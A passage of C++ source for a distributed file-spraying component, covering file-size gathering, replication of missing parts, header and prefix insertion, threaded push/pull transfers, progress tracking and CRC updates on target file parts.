srcFormat.getUnitSize()); else throwError2(DFTERR_InputIsInvalidMultiple, cur.filename.getRemotePath(s).str(), srcFormat.getUnitSize()); } } LOG(MCdebugProgress, job, "----------------------------------------------"); LOG(MCdebugProgress, job, "All together: %llu bytes in %u file(s)", totalSize, sources.ordinality()); } } void FileSprayer::gatherFileSizes(FilePartInfoArray & fileSizeQueue, bool errorIfMissing) { if (fileSizeQueue.ordinality()) { CIArrayOf<FileSizeThread> threads; CriticalSection fileSizeCS; //Is this a good guess? start square root of number of files threads?? unsigned numThreads = (unsigned)sqrt((float)fileSizeQueue.ordinality()); if (numThreads>20) numThreads = 20; LOG(MCdebugProgress, job, "Gathering %d file sizes on %d threads", fileSizeQueue.ordinality(), numThreads); unsigned idx; for (idx = 0; idx < numThreads; idx++) threads.append(*new FileSizeThread(fileSizeQueue, fileSizeCS, compressedInput&&!copyCompressed, errorIfMissing)); for (idx = 0; idx < numThreads; idx++) threads.item(idx).start(); for (;;) { bool alldone = true; StringBuffer err; for (idx = 0; idx < numThreads; idx++) { bool ok = threads.item(idx).wait(10*1000); if (!ok) alldone = false; } if (alldone) break; } for (idx = 0; idx < numThreads; idx++) threads.item(idx).queryThrowError(); } } void FileSprayer::gatherMissingSourceTarget(IFileDescriptor * source) { //First gather all the file sizes... RemoteFilename filename; FilePartInfoArray primparts; FilePartInfoArray secparts; UnsignedArray secstart; FilePartInfoArray queue; unsigned numParts = source->numParts(); for (unsigned idx1=0; idx1 < numParts; idx1++) { if (!filter.get() || filter->includePart(idx1)) { unsigned numCopies = source->numCopies(idx1); if (numCopies>=1) // only add if there is one or more replicates { for (unsigned copy=0; copy < numCopies; copy++) { FilePartInfo & next = * new FilePartInfo; source->getFilename(idx1, copy, next.filename); if (copy==0) primparts.append(next); else { if (copy==1) secstart.append(secparts.ordinality()); secparts.append(next); } queue.append(OLINK(next)); } } } } secstart.append(secparts.ordinality()); gatherFileSizes(queue, false); //Now process the information... StringBuffer primaryPath, secondaryPath; for (unsigned idx=0; idx < primparts.ordinality(); idx++) { FilePartInfo & primary = primparts.item(idx); offset_t primarySize = primary.size; primary.filename.getRemotePath(primaryPath.clear()); for (unsigned idx2=secstart.item(idx);idx2<secstart.item(idx+1);idx2++) { FilePartInfo & secondary = secparts.item(idx2); offset_t secondarySize = secondary.size; secondary.filename.getRemotePath(secondaryPath.clear()); unsigned sourceCopy = 0; if (primarySize != secondarySize) { if (primarySize == -1) { sourceCopy = 1; } else if (secondarySize != -1) { LOG(MCwarning, unknownJob, "Replicate - primary and secondary copies have different sizes (%" I64F "d v %" I64F "d) for part %u", primarySize, secondarySize, idx); continue; // ignore copy } } else { if (primarySize == -1) { LOG(MCwarning, unknownJob, "Replicate - neither primary or secondary copies exist for part %u", idx); primarySize = 0; // to stop later failure to gather the file size } continue; // ignore copy } RemoteFilename *dst= (sourceCopy == 0) ? &secondary.filename : &primary.filename; // check nothing else to same destination bool done = false; ForEachItemIn(dsti,targets) { TargetLocation &tgt = targets.item(dsti); if (tgt.filename.equals(*dst)) { done = true; break; } } if (!done) { sources.append(* new FilePartInfo(*((sourceCopy == 0)? &primary.filename : &secondary.filename))); targets.append(* new TargetLocation(*dst)); sources.tos().size = (sourceCopy == 0) ? primarySize : secondarySize; } } } filter.clear(); // we have already filtered } unsigned __int64 FileSprayer::calcSizeReadAlready() { unsigned __int64 sizeRead = 0; ForEachItemIn(idx, progress) { OutputProgress & cur = progress.item(idx); sizeRead += cur.inputLength; } return sizeRead; } unsigned __int64 FileSprayer::getSizeReadAlready() { return totalLengthRead; } PartitionPoint & FileSprayer::createLiteral(size32_t len, const void * data, unsigned idx) { PartitionPoint & next = * new PartitionPoint; next.inputOffset = 0; next.inputLength = len; next.outputLength = len; next.fixedText.set(len, data); if (partition.isItem(idx)) { PartitionPoint & cur = partition.item(idx); next.whichInput = cur.whichInput; next.whichOutput = cur.whichOutput; } else { next.whichInput = (unsigned)-1; next.whichOutput = (unsigned)-1; } return next; } void FileSprayer::addHeaderFooter(size32_t len, const void * data, unsigned idx, bool before) { PartitionPoint & next = createLiteral(len, data, idx); unsigned insertPos = before ? idx : idx+1; partition.add(next, insertPos); } //MORE: This should be moved to jlib.... //MORE: I should really be doing this on unicode characters and supporting \u \U void replaceEscapeSequence(StringBuffer & out, const char * in, bool errorIfInvalid) { out.ensureCapacity(strlen(in)+1); while (*in) { char c = *in++; if (c == '\\') { char next = *in; if (next) { in++; switch (next) { case 'a': c = '\a'; break; case 'b': c = '\b'; break; case 'f': c = '\f'; break; case 'n': c = '\n'; break; case 'r': c = '\r'; break; case 't': c = '\t'; break; case 'v': c = '\v'; break; case '\\': case '\'': case '?': case '\"': break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': { c = next - '0'; if (*in >= '0' && *in <= '7') { c = c << 3 | (*in++-'0'); if (*in >= '0' && *in <= '7') c = c << 3 | (*in++-'0'); } break; } case 'x': c = 0; while (isxdigit(*in)) { next = *in++; c = c << 4; if (next >= '0' && next <= '9') c |= (next - '0'); else if (next >= 'A' && next <= 'F') c |= (next - 'A' + 10); else if (next >= 'a' && next <= 'f') c |= (next - 'a' + 10); } break; default: if (errorIfInvalid) throw MakeStringException(1, "unrecognised character escape sequence '\\%c'", next); in--; // keep it as is. break; } } } out.append(c); } } void FileSprayer::addHeaderFooter(const char * data, unsigned idx, bool before) { StringBuffer expanded; //MORE: Should really expand as unicode, so can have unicode control characters. decodeCppEscapeSequence(expanded, data, true); MemoryBuffer translated; convertUtf(translated, getUtfFormatType(tgtFormat.type), expanded.length(), expanded.str(), UtfReader::Utf8); //MORE: Convert from utf-8 to target format. addHeaderFooter(translated.length(), translated.toByteArray(), idx, before); } void FileSprayer::cloneHeaderFooter(unsigned idx, bool isHeader) { PartitionPoint & cur = partition.item(idx); FilePartInfo & curSrc = sources.item(cur.whichInput); PartitionPoint & next = * new PartitionPoint; //NB: headerSize include the size of the xmlHeader; size includes neither header or footers. if (isHeader) // Set offset to the XML header next.inputOffset = curSrc.headerSize - curSrc.xmlHeaderLength; else //Set offset to the XML footer next.inputOffset = curSrc.headerSize + curSrc.size; next.inputLength = isHeader ? curSrc.xmlHeaderLength : curSrc.xmlFooterLength; next.outputLength = needToCalcOutput() ? next.inputLength : 0; next.whichInput = cur.whichInput; next.whichOutput = cur.whichOutput; if (isHeader) partition.add(next, idx); else partition.add(next, idx+1); } void FileSprayer::addPrefix(size32_t len, const void * data, unsigned idx, PartitionPointArray & partitionWork) { //Merge header and original partition item into partitionWork array PartitionPoint & header = createLiteral(len, data, idx); partitionWork.append(header); PartitionPoint & partData = partition.item(idx); partitionWork.append(OLINK(partData)); } void FileSprayer::insertHeaders() { const char * header = options->queryProp("@header"); const char * footer = options->queryProp("@footer"); const char * glue = options->queryProp("@glue"); const char * prefix = options->queryProp(ANprefix); bool canKeepHeader = srcFormat.equals(tgtFormat) || !needToCalcOutput(); bool keepHeader = options->getPropBool("@keepHeader", canKeepHeader) && srcFormat.rowTag; if (header || footer || prefix || glue) keepHeader = false; if (keepHeader && !canKeepHeader) throwError(DFTERR_CannotKeepHeaderChangeFormat); if (header || footer || keepHeader) { unsigned idx; unsigned curOutput = (unsigned)-1; bool footerPending = false; for (idx = 0; idx < partition.ordinality(); idx++) { PartitionPoint & cur = partition.item(idx); if (curOutput != cur.whichOutput) { if (keepHeader) { if (footerPending && (idx != 0)) { footerPending = false; cloneHeaderFooter(idx-1, false); idx++; } //Don't add a header if there are no records in this part, and coming from more than one source file //If coming from one then we'll be guaranteed to have a correct header in that part. //If more than one, (and not replicating) then we will have failed to know where the header/footers are for this part. if ((cur.inputLength == 0) && (sources.ordinality() > 1)) continue; cloneHeaderFooter(idx, true); footerPending = true; idx++; } if (footer && (idx != 0)) { addHeaderFooter(footer, idx-1, false); idx++; } if (header) { addHeaderFooter(header, idx, true); idx++; } curOutput = cur.whichOutput; } } if (keepHeader && footerPending) { while (idx && partition.item(idx-1).inputLength == 0) idx--; if (idx) { cloneHeaderFooter(idx-1, false); idx++; } } if (footer) { addHeaderFooter(footer, idx-1, false); idx++; } } if (glue) { unsigned idx; unsigned curInput = 0; unsigned curOutput = 0; for (idx = 0; idx < partition.ordinality(); idx++) { PartitionPoint & cur = partition.item(idx); if ((curInput != cur.whichInput) && (curOutput == cur.whichOutput)) { addHeaderFooter(glue, idx, true); idx++; } curInput = cur.whichInput; curOutput = cur.whichOutput; } } if (prefix) { if (!srcFormat.equals(tgtFormat)) throwError(DFTERR_PrefixCannotTransform); if (glue || header || footer) throwError(DFTERR_PrefixCannotAlsoAddHeader); PartitionPointArray partitionWork; MemoryBuffer filePrefix; filePrefix.setEndian(__LITTLE_ENDIAN); for (unsigned idx = 0; idx < partition.ordinality(); idx++) { PartitionPoint & cur = partition.item(idx); filePrefix.clear(); const char * finger = prefix; while (finger) { StringAttr command; const char * comma = strchr(finger, ','); if (comma) { command.set(finger, comma-finger); finger = comma+1; } else { command.set(finger); finger = NULL; } command.toUpperCase(); if (memcmp(command, "FILENAME", 8) == 0) { StringBuffer filename; cur.inputName.split(NULL, NULL, &filename, &filename); if (command[8] == ':') { unsigned maxLen = atoi(command+9); filename.padTo(maxLen); filePrefix.append(maxLen, filename.str()); } else { filePrefix.append((unsigned)filename.length()); filePrefix.append(filename.length(), filename.str()); } } else if ((memcmp(command, "FILESIZE", 8) == 0) || (command.length() == 2)) { const char * format = command; if (memcmp(format, "FILESIZE", 8) == 0) { if (format[8] == ':') format = format+9; else format = "L4"; } bool bigEndian; char c = format[0]; if (c == 'B') bigEndian = true; else if (c == 'L') bigEndian = false; else throwError1(DFTERR_InvalidPrefixFormat, format); c = format[1]; if ((c <= '0') || (c > '8')) throwError1(DFTERR_InvalidPrefixFormat, format); unsigned length = (c - '0'); unsigned __int64 value = cur.inputLength; byte temp[8]; for (unsigned i=0; i<length; i++) { temp[i] = (byte)value; value >>= 8; } if (value) throwError(DFTERR_PrefixTooSmall); if (bigEndian) { byte temp2[8]; _cpyrevn(&temp2, &temp, length); filePrefix.append(length, &temp2); } else filePrefix.append(length, &temp); } else throwError1(DFTERR_InvalidPrefixFormat, command.get()); } addPrefix(filePrefix.length(), filePrefix.toByteArray(), idx, partitionWork); } LOG(MCdebugProgress, job, "Publish headers"); partition.swapWith(partitionWork); } } bool FileSprayer::needToCalcOutput() { return !usePullOperation() || options->getPropBool(ANverify); } unsigned FileSprayer::numParallelConnections(unsigned limit) { unsigned maxConnections = options->getPropInt(ANmaxConnections, limit); if ((maxConnections == 0) || (maxConnections > limit)) maxConnections = limit; return maxConnections; } unsigned FileSprayer::numParallelSlaves() { unsigned numPullers = transferSlaves.ordinality(); unsigned maxConnections = DEFAULT_MAX_CONNECTIONS; unsigned connectOption = options->getPropInt(ANmaxConnections, 0); if (connectOption) maxConnections = connectOption; else if (mirroring && (maxConnections * 3 < numPullers)) maxConnections = numPullers/3; if (maxConnections > numPullers) maxConnections = numPullers; return maxConnections; } void FileSprayer::performTransfer() { unsigned numSlaves = transferSlaves.ordinality(); unsigned maxConnections = numParallelSlaves(); unsigned failure = options->getPropInt("@fail", 0); if (failure) maxConnections = 1; calibrateProgress(); numSlavesCompleted = 0; if (maxConnections > 1) shuffle(transferSlaves); if (progressReport) progressReport->setRange(getSizeReadAlready(), sizeToBeRead, transferSlaves.ordinality()); LOG(MCdebugInfo, job, "Begin to transfer parts (%d threads)\n", maxConnections); //Throttle maximum number of concurrent transfers by starting n threads, and //then waiting for one to complete before going on to the next lastProgressTick = msTick(); Semaphore sem; unsigned goIndex; for (goIndex=0; goIndex<maxConnections; goIndex++) transferSlaves.item(goIndex).go(sem); //MORE: Should abort early if we get an error on one of the transfers... // to do that we will need a queue of completed pullers. for (; !error && goIndex<numSlaves;goIndex++) { waitForTransferSem(sem); numSlavesCompleted++; transferSlaves.item(goIndex).go(sem); } for (unsigned waitCount=0; waitCount<maxConnections;waitCount++) { waitForTransferSem(sem); numSlavesCompleted++; } if (error) throw LINK(error); bool ok = true; ForEachItemIn(idx3, transferSlaves) { FileTransferThread & cur = transferSlaves.item(idx3); if (!cur.ok) ok = false; } if (!ok) { if (isAborting()) throwError(DFTERR_CopyAborted); else throwError(DFTERR_CopyFailed); } } void FileSprayer::pullParts() { bool needCalcCRC = calcCRC(); LOG(MCdebugInfoDetail, job, "Calculate CRC = %d", needCalcCRC); ForEachItemIn(idx, targets) { FileTransferThread & next = * new FileTransferThread(*this, FTactionpull, targets.item(idx).filename.queryEndpoint(), needCalcCRC, wuid); transferSlaves.append(next); } ForEachItemIn(idx3, partition) { PartitionPoint & cur = partition.item(idx3); if (!filter || filter->includePart(cur.whichOutput)) transferSlaves.item(cur.whichSlave).addPartition(cur, progress.item(idx3)); } performTransfer(); } //Execute a parallel write to a remote part, but each slave writes the entire contents of the file void FileSprayer::pushWholeParts() { bool needCalcCRC = calcCRC(); LOG(MCdebugInfoDetail, job, "Calculate CRC = %d", needCalcCRC); //Create a slave for each of the target files, but execute it on the node corresponding to the first source file //For container mode this will need to execute on this node, or on a load balanced service ForEachItemIn(idx, targets) { TargetLocation & cur = targets.item(idx); SocketEndpoint ep; ForEachItemIn(idx3, partition) { PartitionPoint & cur = partition.item(idx3); if (cur.whichOutput == idx) { ep = sources.item(cur.whichInput).filename.queryEndpoint(); break; } } FileTransferThread & next = * new FileTransferThread(*this, FTactionpull, ep, needCalcCRC, wuid); transferSlaves.append(next); } ForEachItemIn(idx3, partition) { PartitionPoint & cur = partition.item(idx3); if (!filter || filter->includePart(cur.whichOutput)) transferSlaves.item(cur.whichSlave).addPartition(cur, progress.item(idx3)); } performTransfer(); } void FileSprayer::pushParts() { bool needCalcCRC = calcCRC(); ForEachItemIn(idx, sources) { FileTransferThread & next = * new FileTransferThread(*this, FTactionpush, sources.item(idx).filename.queryEndpoint(), needCalcCRC, wuid); transferSlaves.append(next); } ForEachItemIn(idx3, partition) { PartitionPoint & cur = partition.item(idx3); if (!filter || filter->includePart(cur.whichOutput)) transferSlaves.item(cur.whichSlave).addPartition(cur, progress.item(idx3)); } performTransfer(); } void FileSprayer::removeSource() { LOG(MCwarning, job, "Source file removal not yet implemented"); } bool FileSprayer::restorePartition() { if (allowRecovery && progressTree->getPropBool(ANhasPartition)) { IPropertyTreeIterator * iter = progressTree->getElements(PNpartition); ForEach(*iter) { PartitionPoint & next = * new PartitionPoint; next.restore(&iter->query()); partition.append(next); } iter->Release(); return (partition.ordinality() != 0); } return false; } void FileSprayer::savePartition() { if (allowRecovery) { ForEachItemIn(idx, partition) { IPropertyTree * child = createPTree(PNpartition, ipt_caseInsensitive); partition.item(idx).save(child); progressTree->addPropTree(PNpartition, child); } progressTree->setPropBool(ANhasPartition, true); } } void FileSprayer::setCopyCompressedRaw() { assertex(compressedInput && compressOutput); // encrypt/decrypt keys should be same compressedInput = false; compressOutput = false; calcedInputCRC = true; cachedInputCRC = false; copyCompressed = true; } void FileSprayer::setError(const SocketEndpoint & ep, IException * e) { CriticalBlock lock(errorCS); if (!error) { StringBuffer url; ep.getUrlStr(url); error.setown(MakeStringException(e->errorCode(), "%s", e->errorMessage(url.append(": ")).str())); } } void FileSprayer::setPartFilter(IDFPartFilter * _filter) { filter.set(_filter); } void FileSprayer::setProgress(IDaftProgress * _progress) { progressReport = _progress; } void FileSprayer::setAbort(IAbortRequestCallback * _abort) { abortChecker = _abort; } void FileSprayer::setReplicate(bool _replicate) { replicate = _replicate; } void FileSprayer::setSource(IDistributedFile * source) { distributedSource.set(source); srcAttr.setown(createPTreeFromIPT(&source->queryAttributes())); IPropertyTree *history = source->queryHistory(); if (history) srcHistory.setown(createPTreeFromIPT(history)); compressedInput = source->isCompressed(); extractSourceFormat(srcAttr); unsigned numParts = source->numParts(); for (unsigned idx=0; idx < numParts; idx++) { Owned<IDistributedFilePart> curPart = source->getPart(idx); RemoteFilename rfn; FilePartInfo & next = * new FilePartInfo(curPart->getFilename(rfn)); next.extractExtra(*curPart); if (curPart->numCopies()>1) next.mirrorFilename.set(curPart->getFilename(rfn,1)); // don't set the following here - force to check disk //next.size = curPart->getFileSize(true,false); //next.psize = curPart->getDiskSize(true,false); sources.append(next); } gatherFileSizes(false); } void FileSprayer::setSource(IFileDescriptor * source) { setSource(source, 0, 1); //Now get the size of the files directly (to check they exist). If they don't exist then switch to the backup instead. gatherFileSizes(false); } void FileSprayer::setSource(IFileDescriptor * source, unsigned copy, unsigned mirrorCopy) { IPropertyTree *attr = &source->queryProperties(); compressedInput = source->isCompressed(); extractSourceFormat(attr); srcAttr.setown(createPTreeFromIPT(&source->queryProperties())); IPropertyTree *history = source->queryHistory(); if (history) srcHistory.setown(createPTreeFromIPT(history)); extractSourceFormat(srcAttr); RemoteFilename filename; unsigned numParts = source->numParts(); for (unsigned idx=0; idx < numParts; idx++) { if (source->isMulti(idx)) { RemoteMultiFilename multi; source->getMultiFilename(idx, copy, multi); multi.expandWild(); ForEachItemIn(i, multi) { const RemoteFilename &rfn = multi.item(i); FilePartInfo & next = * new FilePartInfo(rfn); Owned<IPartDescriptor> part = source->getPart(idx); next.extractExtra(*part); // If size doesn't set here it will be forced to check the file size on disk (expensive) next.size = multi.getSize(i); sources.append(next); } //MORE: Need to extract the backup filenames for mirror files. } else { source->getFilename(idx, copy, filename); FilePartInfo & next = * new FilePartInfo(filename); Owned<IPartDescriptor> part = source->getPart(idx); next.extractExtra(*part); if (mirrorCopy != (unsigned)-1) source->getFilename(idx, mirrorCopy, next.mirrorFilename); sources.append(next); } } if (sources.ordinality() == 0) LOG(MCuserWarning, unknownJob, "The wildcarded source did not match any filenames"); // throwError(DFTERR_NoFilesMatchWildcard); //Now get the size of the files directly (to check they exist). If they don't exist then switch to the backup instead. gatherFileSizes(false); } void FileSprayer::setSource(IDistributedFilePart * part) { tgtFormat.set(FFTfixed, 1); unsigned copy = 0; RemoteFilename rfn; sources.append(* new FilePartInfo(part->getFilename(rfn,copy))); if (compressedInput) { calcedInputCRC = true; cachedInputCRC = false; } } void FileSprayer::setSourceTarget(IFileDescriptor * fd, DaftReplicateMode mode) { extractSourceFormat(&fd->queryProperties()); tgtFormat.set(srcFormat); if (options->getPropBool(ANcrcDiffers, false)) throwError1(DFTERR_ReplicateOptionNoSupported, "crcDiffers"); if (options->getPropBool(ANsizedate, false)) throwError1(DFTERR_ReplicateOptionNoSupported, "sizedate"); switch (mode) { case DRMreplicatePrimary: // doesn't work for multi copies setSource(fd, 0); setTarget(fd, 1); break; case DRMreplicateSecondary: // doesn't work for multi copies setSource(fd, 1); setTarget(fd, 0); break; case DRMcreateMissing: // this does though (but I am not sure works with mult-files) gatherMissingSourceTarget(fd); break; } isSafeMode = false; mirroring = true; replicate = true; //Optimize replicating compressed - copy it raw, but it means we can't check the input crc assertex(compressOutput == compressedInput); if (compressedInput) setCopyCompressedRaw(); } void FileSprayer::setTarget(IDistributedFile * target) { distributedTarget.set(target); compressOutput = target->isCompressed(); LOG(MCdebugInfo, unknownJob, "FileSprayer::setTarget: compressedInput:%s, compressOutput:%s", boolToStr(compressedInput), boolToStr(compressOutput)); if (tgtFormat.restore(&target->queryAttributes())) unknownTargetFormat = false; else { const char* separator = srcFormat.separate.get(); if (separator && (strcmp(separator, ",") == 0)) srcFormat.separate.set("\\,"); tgtFormat.set(srcFormat); if (!unknownSourceFormat) { DistributedFilePropertyLock lock(target); IPropertyTree &curProps = lock.queryAttributes(); tgtFormat.save(&curProps); } } unsigned copy = 0; unsigned numParts = target->numParts(); if (numParts == 0) throwError(DFTERR_NoPartsInDestination); for (unsigned idx=0; idx < numParts; idx++) { Owned<IDistributedFilePart> curPart(target->getPart(idx)); RemoteFilename rfn; TargetLocation & next = * new TargetLocation(curPart->getFilename(rfn,copy)); targets.append(next); } checkSprayOptions(); } void FileSprayer::setTarget(IFileDescriptor * target, unsigned copy) { if (tgtFormat.restore(&target->queryProperties())) unknownTargetFormat = false; else tgtFormat.set(srcFormat); compressOutput = !encryptKey.isEmpty()||target->isCompressed(); unsigned numParts = target->numParts(); if (numParts == 0) throwError(DFTERR_NoPartsInDestination); RemoteFilename filename; for (unsigned idx=0; idx < numParts; idx++) { target->getFilename(idx, copy, filename); targets.append(*new TargetLocation(filename)); } checkSprayOptions(); } void FileSprayer::updateProgress(const OutputProgress & newProgress) { CriticalBlock block(soFarCrit); lastProgressTick = msTick(); OutputProgress & curProgress = progress.item(newProgress.whichPartition); totalLengthRead += (newProgress.inputLength - curProgress.inputLength); curProgress.set(newProgress); if (curProgress.tree) curProgress.save(curProgress.tree); if (newProgress.status != OutputProgress::StatusRenamed) updateSizeRead(); } void FileSprayer::updateSizeRead() { if (progressDone) return; unsigned nowTick = msTick(); //MORE: This call shouldn't need to be done so often... unsigned __int64 sizeReadSoFar = getSizeReadAlready(); bool done = sizeReadSoFar == sizeToBeRead; if (progressReport) { // A cheat to get 100% saying all the slaves have completed - should really // pass completed information in the progress info, or return the last progress // info when a slave is done. unsigned numCompleted = (sizeReadSoFar == sizeToBeRead) ? transferSlaves.ordinality() : numSlavesCompleted; if (done || (nowTick - lastOperatorTick >= operatorUpdateFrequency)) { progressReport->onProgress(sizeReadSoFar, sizeToBeRead, numCompleted); lastOperatorTick = nowTick; progressDone = done; } } if (allowRecovery && recoveryConnection) { if (done || (nowTick - lastSDSTick >= sdsUpdateFrequency)) { recoveryConnection->commit(); lastSDSTick = nowTick; progressDone = done; } } } void FileSprayer::waitForTransferSem(Semaphore & sem) { while (!sem.wait(EXPECTED_RESPONSE_TIME)) { unsigned timeSinceProgress = msTick() - lastProgressTick; if (timeSinceProgress > EXPECTED_RESPONSE_TIME) { LOG(MCwarning, unknownJob, "No response from any slaves in last %d seconds.", timeSinceProgress/1000); CriticalBlock block(soFarCrit); StringBuffer list; ForEachItemIn(i, transferSlaves) transferSlaves.item(i).logIfRunning(list); if (timeSinceProgress>RESPONSE_TIME_TIMEOUT) { //Set an error - the transfer threads will check it after a couple of minutes, and then terminate gracefully CriticalBlock lock(errorCS); if (!error) error.setown(MakeStringException(RFSERR_TimeoutWaitSlave, RFSERR_TimeoutWaitSlave_Text, list.str())); } } } } void FileSprayer::addTarget(unsigned idx, INode * node) { RemoteFilename filename; filename.set(sources.item(idx).filename); filename.setEp(node->endpoint()); targets.append(* new TargetLocation(filename)); checkSprayOptions(); } bool FileSprayer::isAborting() { if (aborting || error) return true; unsigned nowTick = msTick(); if (abortChecker && (nowTick - lastAbortCheckTick >= abortCheckFrequency)) { if (abortChecker->abortRequested()) { LOG(MCdebugInfo, unknownJob, "Abort requested via callback"); aborting = true; } lastAbortCheckTick = nowTick; } return aborting || error; } const char * FileSprayer::querySplitPrefix() { const char * ret = options->queryProp(ANsplitPrefix); if (ret && *ret) return ret; return NULL; } const char * FileSprayer::querySlaveExecutable(const IpAddress &ip, StringBuffer &ret) const { #ifdef _CONTAINERIZED return ret.append("ftslave").str(); #else const char * slave = queryFixedSlave(); try { queryFtSlaveExecutable(ip, ret); if (ret.length()) return ret.str(); } catch (IException * e) { if (!slave||!*slave) throw; e->Release(); } if (slave) ret.append(slave); return ret.str(); #endif } const char * FileSprayer::queryFixedSlave() const { return options->queryProp("@slave"); } void FileSprayer::setTarget(IGroup * target) { tgtFormat.set(srcFormat); if (sources.ordinality() != target->ordinality()) throwError(DFTERR_ReplicateNumPartsDiffer); ForEachItemIn(idx, sources) addTarget(idx, &target->queryNode(idx)); } void FileSprayer::setTarget(INode * target) { tgtFormat.set(srcFormat); if (sources.ordinality() != 1) throwError(DFTERR_ReplicateNumPartsDiffer); addTarget(0, target); } inline bool nonempty(IPropertyTree *pt, const char *p) { const char *s = pt->queryProp(p); return s&&*s; } bool FileSprayer::disallowImplicitReplicate() { return options->getPropBool(ANsplit) || options->getPropBool(ANnosplit) || querySplitPrefix() || nonempty(options,"@header") || nonempty(options,"@footer") || nonempty(options,"@glue") || nonempty(options,ANprefix) || nonempty(options,ANencryptKey) || nonempty(options,ANdecryptKey); } void FileSprayer::spray() { if (!allowSplit() && querySplitPrefix()) throwError(DFTERR_SplitNoSplitClash); aindex_t sourceSize = sources.ordinality(); bool failIfNoSourceFile = options->getPropBool("@failIfNoSourceFile"); if (sourceSize == 0) { if (failIfNoSourceFile) throwError(DFTERR_NoFilesMatchWildcard); else progressTree->setPropBool("@noFileMatch", true); } LOG(MCdebugInfo, job, "compressedInput:%d, compressOutput:%d", compressedInput, compressOutput); LocalAbortHandler localHandler(daftAbortHandler); if (allowRecovery && progressTree->getPropBool(ANcomplete)) { LOG(MCdebugInfo, job, "Command completed successfully in previous invocation"); return; } checkFormats(); checkForOverlap(); progressTree->setPropBool(ANpull, usePullOperation()); const char * splitPrefix = querySplitPrefix(); if (!replicate && (sources.ordinality() == targets.ordinality())) { if (srcFormat.equals(tgtFormat) && !disallowImplicitReplicate()) copySource = true; } if (compressOutput&&!replicate&&!copySource) { PROGLOG("Compress output forcing pull"); options->setPropBool(ANpull, true); allowRecovery = false; } gatherFileSizes(true); if (!replicate||copySource) // NB: When copySource=true, analyseFileHeaders mainly just sets srcFormat.type analyseFileHeaders(!copySource); // if pretending replicate don't want to remove headers afterGatherFileSizes(); if (compressOutput && !usePullOperation() && !replicate && !copySource) throwError(DFTERR_CannotPushAndCompress); if (restorePartition()) { LOG(MCdebugProgress, job, "Partition restored from recovery information"); } else { LOG(MCdebugProgress, job, "Calculate partition information"); if (replicate || copySource) calculateOne2OnePartition(); else if (!allowSplit()) calculateNoSplitPartition(); else if (splitPrefix && *splitPrefix) calculateSplitPrefixPartition(splitPrefix); else if ((targets.ordinality() == 1) && srcFormat.equals(tgtFormat)) calculateMany2OnePartition(); else calculateSprayPartition(); if (partition.ordinality() > PARTITION_RECOVERY_LIMIT) allowRecovery = false; savePartition(); } assignPartitionFilenames(); // assign source filenames - used in insertHeaders.. if (!replicate && !copySource) { LOG(MCdebugProgress, job, "Insert headers"); insertHeaders(); } addEmptyFilesToPartition(); derivePartitionExtra(); if (partition.ordinality() < 1000) displayPartition(); if (isRecovering) displayProgress(progress); throwExceptionIfAborting(); beforeTransfer(); if (usePushWholeOperation()) pushWholeParts(); else if (usePullOperation()) pullParts(); else pushParts(); afterTransfer(); //If got here then we have succeeded updateTargetProperties(); StringBuffer copyEventText; // [logical-source] > [logical-target] if (distributedSource) copyEventText.append(distributedSource->queryLogicalName()); copyEventText.append(">"); if (distributedTarget && distributedTarget->queryLogicalName()) copyEventText.append(distributedTarget->queryLogicalName()); //MORE: use new interface to send 'file copied' event //LOG(MCevent, unknownJob, EVENT_FILECOPIED, copyEventText.str()); cleanupRecovery(); } bool FileSprayer::isSameSizeHeaderFooter() { bool retVal = true; if (sources.ordinality() == 0) return retVal; unsigned whichHeaderInput = 0; headerSize = sources.item(whichHeaderInput).xmlHeaderLength; footerSize = sources.item(whichHeaderInput).xmlFooterLength; ForEachItemIn(idx, partition) { PartitionPoint & cur = partition.item(idx); if (cur.inputLength && (idx+1 == partition.ordinality() || partition.item(idx+1).whichOutput != cur.whichOutput)) { if (headerSize != sources.item(whichHeaderInput).xmlHeaderLength) { retVal = false; break; } if (footerSize != sources.item(cur.whichInput).xmlFooterLength) { retVal = false; break; } if ( idx+1 != partition.ordinality() ) whichHeaderInput = partition.item(idx+1).whichInput; } } return retVal; } void FileSprayer::updateTargetProperties() { TimeSection timer("FileSprayer::updateTargetProperties() time"); Owned<IException> error; if (distributedTarget) { StringBuffer failedParts; CRC32Merger partCRC; offset_t partLength = 0; CRC32Merger totalCRC; offset_t totalLength = 0; offset_t totalCompressedSize = 0; unsigned whichHeaderInput = 0; bool sameSizeHeaderFooter = isSameSizeHeaderFooter(); bool sameSizeSourceTarget = (sources.ordinality() == distributedTarget->numParts()); offset_t partCompressedLength = 0; ForEachItemIn(idx, partition) { PartitionPoint & cur = partition.item(idx); OutputProgress & curProgress = progress.item(idx); partCRC.addChildCRC(curProgress.outputLength, curProgress.outputCRC, false); totalCRC.addChildCRC(curProgress.outputLength, curProgress.outputCRC, false); if (copyCompressed && sameSizeSourceTarget) { FilePartInfo & curSource = sources.item(cur.whichInput); partLength = curSource.size; totalLength += partLength; } else { partLength += curProgress.outputLength; // AFAICS this might as well be = totalLength += curProgress.outputLength; } if (compressOutput) partCompressedLength += curProgress.compressedPartSize; if (idx+1 == partition.ordinality() || partition.item(idx+1).whichOutput != cur.whichOutput) { Owned<IDistributedFilePart> curPart = distributedTarget->getPart(cur.whichOutput); // TODO: Create DistributedFilePropertyLock for parts curPart->lockProperties(); IPropertyTree& curProps = curPart->queryAttributes(); if (!sameSizeHeaderFooter) { FilePartInfo & curHeaderSource = sources.item(whichHeaderInput); curProps.setPropInt64(FPheaderLength, curHeaderSource.xmlHeaderLength); FilePartInfo & curFooterSource = sources.item(cur.whichInput); curProps.setPropInt64(FPfooterLength, curFooterSource.xmlFooterLength); if ( idx+1 != partition.ordinality() ) whichHeaderInput = partition.item(idx+1).whichInput; } if (calcCRC()) { curProps.setPropInt(FAcrc, partCRC.get()); if (cur.whichInput != (unsigned)-1) { FilePartInfo & curSource = sources.item(cur.whichInput); if (replicate && curSource.hasCRC) { if ((partCRC.get() != curSource.crc)&&(compressedInput==compressOutput)) // if expanding will be different! { if (failedParts.length()) failedParts.append(", "); else failedParts.append("Output CRC failed to match expected: "); curSource.filename.getPath(failedParts); failedParts.appendf("(%x,%x)",partCRC.get(),curSource.crc); } } } } else if (compressOutput || copyCompressed) curProps.setPropInt(FAcrc, (int)COMPRESSEDFILECRC); curProps.setPropInt64(FAsize, partLength); if (compressOutput) { curProps.setPropInt64(FAcompressedSize, partCompressedLength); totalCompressedSize += partCompressedLength; } else if (copyCompressed) { curProps.setPropInt64(FAcompressedSize, curProgress.outputLength); totalCompressedSize += curProgress.outputLength; } TargetLocation & 